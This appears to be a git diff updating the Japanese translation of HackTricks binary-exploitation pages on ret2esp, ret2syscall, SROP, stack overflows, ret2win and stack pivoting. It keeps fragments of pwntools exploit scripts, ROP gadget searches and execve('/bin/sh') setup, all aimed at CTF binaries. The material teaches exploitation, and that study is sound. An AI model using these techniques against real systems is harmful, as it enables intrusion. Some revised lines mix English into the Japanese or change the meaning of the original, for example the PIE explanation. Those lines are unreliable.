+さらに、シェルコードを**EIPの破損後**に配置できることは、関数の操作中に実行される`push`や`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。 -### スペース不足 +### スペースが不足している場合 RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**`jmp`**シェルコードを次のように書きます: ```armasm @@ -41,7 +41,7 @@ pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` -この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます。 +この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -92,7 +92,7 @@ target.interactive() ### Ret2sp -ARM64 では、**SP レジスタにジャンプする**命令は**存在しません**。**sp をレジスタに移動させ、そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした: +ARM64 には **SP レジスタにジャンプする** 命令が **ありません**。レジスタに sp を移動させ、そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした: ```bash for i in `seq 1 30`; do ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; @@ -135,7 +135,7 @@ do_stuff(2) return 0; } ``` -関数の逆アセンブルを確認すると、**バッファへのアドレス**(bofに対して脆弱であり、**ユーザーによって制御される**)が**`x0`に格納されている**ことがわかります。バッファオーバーフローから戻る前に: +関数の逆アセンブルを確認すると、**バッファへのアドレス**(bofに対して脆弱であり、**ユーザーによって制御される**)が、バッファオーバーフローから戻る前に**`x0`に格納されている**ことがわかります:
@@ -143,7 +143,7 @@ return 0;
-このガジェットを使用してそこにジャンプします。バイナリは**PIEなしでコンパイルされています。** パターンを使用すると、**バッファオーバーフローのオフセットは80である**ことがわかるので、エクスプロイトは次のようになります: +バイナリが**PIEなしでコンパイルされている**ため、そのガジェットを使用してそこにジャンプします。パターンを使用すると、**バッファオーバーフローのオフセットは80**であることがわかるので、エクスプロイトは次のようになります: ```python from pwn import * @@ -165,7 +165,7 @@ p.interactive() ## Protections - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。 -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。 ## References diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index ebc34ff39..f2306d8b0 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -4,19 +4,19 @@ ## 基本情報 -これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、`sys_execve`システムコールを呼び出すために、いくつかの引数を準備します。これにより、`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。 +これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、すべては`sys_execve`システムコールを引数付きで呼び出し、`/bin/sh`を実行するために準備されます。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。 -**syscall**の呼び出しを準備するためには、次の構成が必要です: +**syscall**の呼び出しを準備するためには、以下の設定が必要です: - `rax: 59 sys_execveを指定` - `rdi: "/bin/sh"へのポインタ、実行するファイルを指定` - `rsi: 0、引数は渡さないことを指定` - `rdx: 0、環境変数は渡さないことを指定` -基本的には、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。 +基本的に、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。 > [!TIP] -> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更**することができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/)と組み合わせることができます。 +> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更する**ことができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html)と組み合わせることができます。 ## レジスタガジェット @@ -28,7 +28,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` -これらのアドレスを使用すると、**スタックにコンテンツを書き込み、レジスタにロードする**ことが可能です。 +これらのアドレスを使用すると、**スタックの内容を書き込み、レジスタにロードする**ことが可能です。 ## 文字列の書き込み @@ -45,7 +45,7 @@ Start End Offset Perm Path ``` ### メモリに文字列を書く -次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。 +次に、このアドレスに任意のコンテンツを書き込む方法を見つける必要があります。 ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx @@ -172,10 +172,10 @@ target.interactive() ## その他の例と参考文献 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) -- 64ビット、PIEなし、nx、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。 +- 64ビット、PIEなし、nx、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64ビット、nx、PIEなし、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。スタックに書き込むために数学的操作を行う関数が悪用されます。 +- 64ビット、nx、PIEなし、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。スタックに数学的操作を行う関数を書き込むために悪用されます。 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。 +- 64ビット、PIEなし、nx、BFカナリア、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 4e98e542a..6efdefc8c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -55,7 +55,7 @@ | __reserved | sigmask | +--------------------+--------------------+ ``` -より良い説明については、こちらも確認してください: +より良い説明のために、こちらも確認してください: {{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared @@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## 例 -[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) で、signeturnへの呼び出しがROPを介して構築されていることが示されています(rxaに値`0xf`を入れています)。ただし、これはそこからの最終的なエクスプロイトです: +[**こちらに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されており(rxaに値`0xf`を入れる)、これはそこからの最終的なエクスプロイトです: ```python from pwn import * @@ -128,13 +128,13 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。 +- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。 +- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。 +- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで[**ret2syscall**](../rop-syscall-execv/index.html)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh`を`.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出します。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。 +- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再びESPに読み込むことを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込まれ、実行されます。 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROPは、シェルコードが配置された場所に実行権限(memprotect)を与えるために使用されます。 diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index e73f9ff44..ede68e76f 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -6,11 +6,11 @@ **スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。 -この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。 +この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**することができます。 -この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。 +この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、したがってスタックの他の部分を上書きすることができます。 -これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。 +これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のような**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。 例えば、以下の関数が脆弱である可能性があります: ```c @@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer); スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。 -さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ**連続した部分列として現れる**循環シーケンスです。 +さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる** **循環シーケンス**です。 この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。 @@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp ## スタックオーバーフローの悪用 オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIP(またはそれ以上)**に到達します。\ -この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがこのポインタで指定された場所にリダイレクトされる**ことです。 +この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがユーザーが指定したポインタの場所にリダイレクトされる**ことです。 しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単なCTFチャレンジのように)。 ### Ret2win -この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするためのオフセット**を見つけ、呼び出す**関数のアドレス**を見つける必要があります(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます: +この種のCTFチャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、呼び出す**関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます: {{#ref}} ret2win/ @@ -71,9 +71,9 @@ ret2win/ stack-shellcode/ {{#endref}} -### ROP & Ret2... テクニック +### ROP & Ret2...技術 -このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニック(ret2lib、ret2syscall...)を実行することができます: +この技術は、前の技術に対する主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし(NX)**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかの技術(ret2lib、ret2syscall...)を実行することが可能になります: {{#ref}} ../rop-return-oriented-programing/ diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 4582ff0f8..85676f091 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,7 +4,7 @@ ## 基本情報 -**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目標は、特定の未呼び出しの関数を実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。 +**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目標は、与えられたバイナリの脆弱性を悪用して、バイナリ内の特定の未呼び出し関数を実行することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。 ### Cの例 @@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` -`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査するための他のツールを使用できます。例えば、`objdump`を使用して次のようにできます: +`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して、次のようにできます: ```sh objdump -d vulnerable | grep win ``` このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 -Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。 +Python スクリプトは、`vulnerable_function` によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを `win` のアドレスで上書きするように巧妙に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。 ## 保護 -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。 -- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。 +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべき** で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` またはそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。 +- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきで、侵害された EIP リターンアドレスは決して追跡されません。 ## その他の例と参考文献 @@ -90,7 +90,7 @@ Python スクリプトは、`vulnerable_function` によって処理されると - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き(1バイト) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。 +- プログラムは、入力のサイズを確認するために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 980b33131..499269cf4 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -1,10 +1,10 @@ -# スタックピボット - EBP2Ret - EBPチェイニング +# スタックピボッティング - EBP2Ret - EBPチェイニング {{#include ../../banners/hacktricks-training.md}} ## 基本情報 -この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンすることを目的としています。 +この技術は、**ベースポインタ(EBP)**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。 念のため、**`leave`**は基本的に次の意味です: ``` @@ -12,51 +12,51 @@ mov ebp, esp pop ebp ret ``` -そして、**EBPがスタックにある**ため、スタックを制御することでそれを制御することが可能です。 +And as the **EBPはスタックにある** EIPの前に、スタックを制御することでそれを制御することが可能です。 ### EBP2Ret -この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。 +この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない**場合に特に有用です。これは、関数が実行を終了する際の動作を利用します。 -`fvuln`の実行中に、シェルコードのアドレスがあるメモリ領域を指す**偽のEBP**をスタックに注入することができれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\ -ここで、**2つのアドレスを知っておく必要があります**: ESPが向かうアドレスと、ESPが指すアドレスを書き込む必要がある場所です。 +`fvuln`の実行中に、シェルコードのアドレスがあるメモリの領域を指す**偽のEBP**をスタックに注入することに成功すれば(`pop`操作のために4バイトを加算)、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作はESPを4減少させ、**実質的に攻撃者がそこに保存したアドレスを指すことになります。**\ +ここで**2つのアドレスを知っておく必要があります**: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要があるアドレスです。 -#### 攻撃構築 +#### Exploit Construction まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。 -次に、**任意のコードを実行する**ために`ret`が使用するアドレスを知っておく必要があります。以下のように使用できます: +次に、**任意のコードを実行する**ために使用される`ret`のアドレスを知っておく必要があります。以下のように使用できます: - 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。 -- **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレス(x86ビット)。 +- **`system()`**のアドレスの後に**4バイトのゴミデータ**と`"/bin/sh"`のアドレス(x86ビット)。 - **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))の後に**実行するシェルコード**。 -- 一部の[**ROP**](../rop-return-oriented-programing/)チェーン。 +- 一部の[**ROP**](../rop-return-oriented-programing/index.html)チェーン。 -制御されたメモリのこれらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。 +これらのアドレスの前には、制御されたメモリ部分に**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。 #### Off-By-One Exploit -この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトと共有する必要があり、より制約のある条件で類似の操作が可能になります。\ +この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能になります。\ 通常、0x00のバイトを変更してできるだけ遠くにジャンプします。 また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。 -### **EBPチェーニング** +### **EBP Chaining** -したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP`に`leave; ret`のアドレスを配置することで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。 +したがって、スタックの`EBP`エントリに制御されたアドレスを置き、`EIP`に`leave; ret`のアドレスを置くことで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**。 -今、**`ESP`**は望ましいアドレスを指して制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です: +今、**`ESP`**は望ましいアドレスを指すように制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です: - **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード - **`system()`** -> `ret`によって呼び出される - **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始 - **`&("/bin/sh")`**-> `system`のパラメータ -基本的に、この方法で複数の偽EBPをチェーンしてプログラムのフローを制御することが可能です。 +基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。 -これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。 +これは[ret2lib](../rop-return-oriented-programing/ret2lib/index.html)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません。 -さらに、ここにこの技術を使用して**スタックリーク**で勝利関数を呼び出す[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これはページからの最終的なペイロードです: +さらに、ここにこの技術を使用した[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これは**スタックリーク**を使用して勝利関数を呼び出します。これはページからの最終的なペイロードです: ```python from pwn import * @@ -94,7 +94,7 @@ print(p.recvline()) ``` ## EBPは使用されない可能性がある -[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができない**ため、EBPを制御することで動作するエクスプロイトは基本的に失敗します。\ +[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができません**。したがって、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。\ 